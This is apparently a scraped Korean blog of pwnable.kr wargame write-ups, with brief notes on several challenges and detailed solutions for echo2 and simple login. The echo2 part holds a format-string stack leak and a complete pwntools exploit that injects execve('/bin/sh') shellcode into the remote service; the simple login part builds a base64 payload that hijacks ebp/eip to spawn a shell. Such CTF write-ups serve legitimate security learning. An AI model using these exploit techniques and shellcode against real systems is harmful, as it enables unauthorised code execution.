매번 pwnable 문제를 풀때 그러지만 엄한데서 삽질을 하며 시간을 날렸습니다...허허


역시 풀이의 방향성을 잡는게 가장 어렵고 중요한것같습니다.

'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10

2018.8.25.

어렵다 어려워





+ [Grotesque] aeg


+ [Grotesque] sudoku


+ [Grotesque] rootkit


+ [Grotesque] dos4fun


+ [Hacker's Secret] exploitable


+ [Rookiss] loveletter

'Pwnable.kr' 카테고리의 다른 글

내맘대로 Heap 관련 취약점 정리  (0) 2018.02.03

몇달 전에 풀던 문젠데 로컬 환경에선 쉘 다 띄워놓고  일이 바빠서 문제 마무리를 못하고 있었네요.


풀면서 어려웠던 점(?)은 'Hacker's secret 문젠데 어떤 어려운 기법을 써야할까?'라는 생각때문에 문제를 어렵게 꼬아서 생각했던 것일까요

 

한문제 한문제 겨우겨우 풀고 있습니다...허허


이번 문제 풀이를 위한 의식의 흐름은

- DOSBox를 이용한 동적디버깅환경 구축

- 다양한 삽질? 을 통한 취약점 확인

- Dos opcode 분석을 통한 쉘코드 작성(사실 작성이라기보다 코드 재활용이라고 해야겠습니다)


인 것 같네요.


'Pwnable.kr > Grotesque' 카테고리의 다른 글

[pwnable.kr] sudoku - 111pt  (0) 2018.02.19
[pwnable.kr] AEG - 550pt  (0) 2018.02.11
ANGR로 AEG를 풀어보자  (0) 2018.01.25
[pwnable.kr] maze - 150pt  (0) 2017.12.23

월요병을 물리치고 한 문제를 풀어서 기분이 좋습니다.


문제 풀이의 거의 한 80%는 라이브러리 덕이지만 


어쨋든 오늘 문제 풀이의 골자는 복잡한 문제 풀이를 위한 알고리즘 구현은 어렵지만 똑똑한 사람들이 라이브러리를 만들어놨고 그냥 잘쓰면 된다? 이겠네요.

'Pwnable.kr > Grotesque' 카테고리의 다른 글

[pwnable.kr] dos4fun - 444pt  (5) 2018.03.14
[pwnable.kr] AEG - 550pt  (0) 2018.02.11
ANGR로 AEG를 풀어보자  (0) 2018.01.25
[pwnable.kr] maze - 150pt  (0) 2017.12.23

막상 풀고 나서 보니까 별거 없는데 풀때는 왜그렇게 어려운지 모르겠습니다.

몇주만에 푼건지...



대충 정리해보자면


1. 생성된 바이너리 address 및 중요값 추출.

2. ANGR을 이용해 키값 확인

3. EIP 컨트롤, 취약점 공격...인데 아무래도 쓸 수 있는 버퍼의 크기가 크다보니 payload를 맘대로 구성하기 좋음

4. 실행권한 부여

5. /bin/sh 실행


이런거였겠죠?


'Pwnable.kr > Grotesque' 카테고리의 다른 글

[pwnable.kr] dos4fun - 444pt  (5) 2018.03.14
[pwnable.kr] sudoku - 111pt  (0) 2018.02.19
ANGR로 AEG를 풀어보자  (0) 2018.01.25
[pwnable.kr] maze - 150pt  (0) 2017.12.23

FSB 발생 확인


hello abcd

AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x %8x

AAAA  250005f be7d2790 38252078 38252078 be9ed700 41414141 goodbye abcd





Exploit 방안 탐색

FSB를 활용할수 있으므로 %n을 이용해 메모리 write를 통해 exploit(GOT overwriting 등) 할 수 있으나 입력할 수 있는 바이트 수가 길지 않은 상황임
또한 이 문제에선 UAF 취약점도 가지고 있으므로 
i) 쉘코드를 메모리에 쓰고
ii) 쉘코드가 올라간 주소를 알 경우
쉘코드를 실행, 쉘을 딸 수 있다.

사용자 입력을 받는 부분을 살펴보면 다음과 같이 사용자 이름을 24바이트만큼 받는 것을 확인할 수 있다.


이 메모리를 이용해 쉘코드를 업로드하면 메모리 주소만 알면 끝나는데 서버는 ASLR이 enable 되어있는 상태이므로 주소확인이 필요하다.
FSB 취약점을 이용해 메모리 쓰기 뿐 아니라 스택의 값들을 모두 출력해 볼 수 있으므로 스택에 들어있는 메모리 주소를 이용해 위 메모리의 주소를 구할 수 있다.


사용자 이름을 AAAA, FSB 내용 입력을 aaaa.%x..... 로 입력한 상황,
GDB를 이용해 FSB 취약점 내용이 출력되는 printf 직전에 스택 값들을 확인해보면

(gdb) x/64wx $rsp-0x20

0x7fffffffdc10: 0xffffdd70      0x00000020      0xffffdc30      0x00007fff

0x7fffffffdc20: 0xffffdc50      0x00007fff      0x00400858      0x00000000

0x7fffffffdc30: 0x61616161      0x2e783825      0x2e783825      0x2e783825

0x7fffffffdc40: 0x2e783825      0x2e783825      0x2e783825      0x00783825

0x7fffffffdc50: 0xffffdc90      0x00007fff      0x00400acb      0x00000000

0x7fffffffdc60: 0xffffdc90      0x00007fff      0x00000000      0x00000002

0x7fffffffdc70: 0x41414141      0x00000000      0x004006b0      0x00000000

0x7fffffffdc80: 0xffffdd70      0x00007fff      0x00000000      0x00000000

0x7fffffffdc90: 0x00000000      0x00000000      0xf7a36ec5      0x00007fff

0x7fffffffdca0: 0x00000000      0x00000000      0xffffdd78      0x00007fff



위와 같이 0x7fffffffdc50 메모리 번지에 스택의 주소가 들어있는 것을 확인해볼 수 있고 해당 주소에서 0x20 만큼을 빼면 우리가 원하는 메모리의 주소를 구할 수 있다.(물론 GDB에서 출력한 메모리 주소는 변동되지만 offset은 일정하므로)






Exploit 코드



from pwn import *

shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56"

shellcode+="\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"


#sh=process("/home/u64/Desktop/echo2/echo2_ori")

sh=remote("pwnable.kr",9011)

sh.recvuntil(":")

sh.sendline(shellcode)

print sh.recvuntil("> ")

sh.sendline("2")

sh.recvline()

sh.sendline("%x%x%x%x%x%x%x%x%xS%lx")

addr = sh.recvline()

addr = addr[addr.index("S")+1:].strip()

name=int(addr,16)-0x20

sh.recvuntil(">")

sh.sendline("4")

sh.sendline("n")

sh.recvuntil(">")

sh.sendline("3")

sh.recvline()

sh.sendline("A"*24+p64(name))

sh.interactive()




'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] simple login - 50pt  (0) 2016.08.23



바이너리 보안기법 검사 (checksec.sh)


 # /home/u32/Desktop/checksec.sh --file ./login                                                                        

RELRO           STACK CANARY      NX               PIE               RPATH        RUNPATH        FILE       

Partial RELRO   Canary found        NX enabled    No PIE          No RPATH   No RUNPATH   ./login


NX, Stack canary enable 확인





바이너리 리버싱



소스코드를 보면 Base64Decode한 값을 input으로 memcpy 하는 것을 확인할 수 있음.

여기서 auth(v6) 함수의 return 값이 1이면 correct() 함수 실행


correct() 함수 내부는 

 

input의 4바이트 값이 0xDEADBEEF 와 같으면 /bin/sh 실행하게 됨.



if 조건을 확인하는 auth() 함수는 아래와 같으며 함수를 대충 살펴보면 md5 계산한 해쉬 값이 f87... 와 같으면 True를 리턴하는 것 같다.



calc_md5, base64 decode 함수 따라가보면서 값을 tracking 해보려다가 다음과 같이 같은 값을 넣어도 hash 값이 계속 변동되는 것을 확인했다



즉 이 hash 값을 비교해서 correct() 로 넘어가는 게 의미 없는 상황이 됨. 어떻게 /bin/sh를 실행시킬까


여기서 AAAABBBBCCCC 12바이트를 인코딩한 QUFBQUJCQkJDQ0ND 를 입력값으로 넣으면 프로그램이 Segmentation fault를 뜨면서 죽는다.


Program received signal SIGSEGV, Segmentation fault.     

0x08049424 in main ()




Error 분석(main() 0x08049424)


Segmentation fault 시 register 값 확인


 Breakpoint 2, 0x0804941f in main ()                      

(gdb) i r                                                          

eax            0x0      0                                        

ecx            0x32     50                                      

edx            0x80da684        135112324                

ebx            0x80481d0        134513104                

esp            0xbfffee60       0xbfffee60                  

ebp            0x43434343       0x43434343              

esi            0x0      0                                         

edi            0x811b00c        135376908                 

eip            0x804941f        0x804941f <main+274>

eflags         0x200297 [ CF PF AF SF IF ID ]            

cs             0x73     115                                     

ss             0x7b     123                                     

ds             0x7b     123                                     

es             0x7b     123                                    

fs             0x0      0                                         

gs             0x33     51             


위 레지스터 값에서 보이는 것과 같이 12바이트 중 마지막 4바이트 값이 ebp로 설정된다는 것을 알 수 있다.

이 상황에서 Segmentation fault 뜨는 원인을 찾아보면 leave; ret;은 즉


leave 

mov esp,ebp

pop ebp


ret

pop eip

jmp eip


과 같다.

잘못된 ebp의 값이 esp로 들어간 후 pop 명령을 수행하게 되므로 문제가 생기는 상황.


정리해보면

1. ebp를 통한 esp 컨트롤 가능.

2. 2번째 pop 명령 결과가 eip로 들어감.


이 두가지 조건을 이용해 조작가능한 메모리공간 8바이트(dummy 4바이트 + EIP 4바이트)가 추가로 있으면 EIP 컨트롤이 가능할 수 있다

바이너리가 돌고 있는 서버는 ASLR이 적용되어있으므로 스택의 임의주소는 사용하지 못함


main 함수의 코드를 다시 보면 input은 전역 변수이므로 메모리 주소(0x0811eb40)가 고정임을 알 수 있다



Exploit을 위한 입력값은 다음과 같이 구성한다.

AAAA +  0x08049278  + 0x0811eb40

   1.               2.                 3.

1. dummy 4바이트

2. main() 에서 /bin/sh를 실행하는 주소

3. input 메모리 시작 주소


little endian 이므로 이를 고려하고 base64 encoding 해주면 결과값(QUFBQXiSBAhA6xEI)을 구할 수 있다

(pwntools 이용해서 깔끔하게 코드 짜려다가 다음 기회로...)





결과 확인




'Pwnable.kr > Rookiss' 카테고리의 다른 글

[pwnable.kr] crypto1 - 120pt  (0) 2017.05.20
[pwnable.kr] brain fuck - 150pt  (0) 2017.04.16
[pwnable.kr] md5 calculator - 200pt  (0) 2017.01.02
[pwnable.kr] fsb - 20pt  (0) 2016.11.17
[pwnable.kr] echo2 - 50pt  (0) 2016.11.10

+ Recent posts